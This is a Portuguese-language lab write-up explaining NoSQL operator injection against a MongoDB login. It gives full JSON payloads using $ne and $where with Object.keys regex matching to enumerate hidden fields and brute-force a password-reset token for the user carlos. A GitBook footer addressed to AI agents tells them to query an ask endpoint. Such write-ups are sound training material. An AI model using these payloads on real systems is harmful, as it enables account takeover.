> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web/nosql-injection/extraction-of-unknown-fields-with-nosql-operators.md).
# Extração de campos desconhecidos com operadores NoSQL
### Explorando injeção de operador NoSQL para extrair campos desconhecidos
A funcionalidade de busca de usuários deste laboratório é baseada em um banco de dados NoSQL MongoDB. Ela é vulnerável a uma injeção NoSQL. / O objetivo é se conectar como **carlos**.
#### Contexto Inicial
Há uma funcionalidade **Esqueci a senha**.
A consulta enviada via POST para `/forgot-password` é assim:
```bash
csrf=55UFZpEwaPzlRg9d0CRKOf8OZ4GSm2jj&username=test
```
### Teste de Injeção NoSQL no Login
Ao tentar injetar NoSQL no formulário de login:
```json
{
"username": "carlos",
"password": { "$ne": "x" }
}
```
A conta é bloqueada e a seguinte mensagem aparece:
> Conta bloqueada: redefina sua senha
#### Bloqueio com `$where`
Observa-se que adicionar o `$where` campo é interpretado pelo servidor:
* Se `$where` é `1` → a conta continua bloqueada
* Se `$where` vale `0` → o bloqueio desaparece
Exemplo:
```json
{
"username": "carlos",
"password": {
"$ne": "x"
},
"$where": "0"
}
```
Isso confirma que `$where` o operador é executável.
#### Limitação e Mudança de Estratégia
A ideia original seria usar `$where` para verificar a senha diretamente, por exemplo:
```json
{
"username": "carlos",
"password": {
"$ne": "x"
},
"$where": "this.password...."
}
```
No entanto, como a conta está bloqueada, essa abordagem não é utilizável. / Portanto, você deve passar por uma **redefinição de senha**.
#### Listar Campos do Objeto de Usuário
`$where` é usado para listar as chaves do objeto de usuário com:
```javascript
Object.keys(this)[0].match('^.{X}Y.*')
```
Requisição completa:
```json
{
"username": "carlos",
"password": {
"$ne": "x"
},
"$where": "Object.keys(this)[0].match('^.{X}Y.*')"
}
```
* `X`: posição do caractere (0-20)
* `Y`: caracteres testados (`a-z`, `A-Z`, `0-9`)
Ataque enviado via **Intruder** por **Cluster Bomb**
#### Resultados da Enumeração de Campos
Com base no tamanho da resposta (**Content-Length**):
* `Object.keys(this)[0]` → `id`
```javascript
"$where": "Object.keys(this)[1].match('^.{X}Y.*')"
```
* `Object.keys(this)[1]` → `nome de usuário`
* `Object.keys(this)[2]` → `senha`
```javascript
"$where": "Object.keys(this)[2].match('^.{X}Y.*')"
```
* `Object.keys(this)[3]` → `email`
* `Object.keys(this)[4]` → `passwordReset`
" O `passwordReset` campo só aparece se uma redefinição de senha tiver sido acionada para **carlos**.
```javascript
"$where": "Object.keys(this)[4].match('^.{X}Y.*')"
```
#### Confirmação do `passwordReset` Campo
Acesso ao endpoint:
```bash
/forgot-password?passwordReset=
```
Resposta:
> Token inválido
O campo existe
#### Lista de Token `passwordReset`
O valor do token é então extraído:
```javascript
"$where": "this.passwordReset.match('^.{X}Y.*')"
```
```javascript
{
"username": "carlos",
"password": {
"$ne": "x"
},
"$where": "this.passwordReset.match('^.{X}Y.*')"
}
```
* `X`: posição do caractere
* `Y`: caracteres possíveis
* Enviar via **Intruder** (Cluster Bomb)
#### Resultado
O **carlos** o token de redefinição é recuperado:
```bash
5d252f7e28f468ee
```
#### Exploração Final
Com esse token, você pode acessar a funcionalidade de redefinição de senha e definir uma nova senha para **carlos**, permitindo que você faça login na sua conta e valide o laboratório.
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.
Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:
```
GET https://hacking-notes.jord4n.pro/pt-br/web/nosql-injection/extraction-of-unknown-fields-with-nosql-operators.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.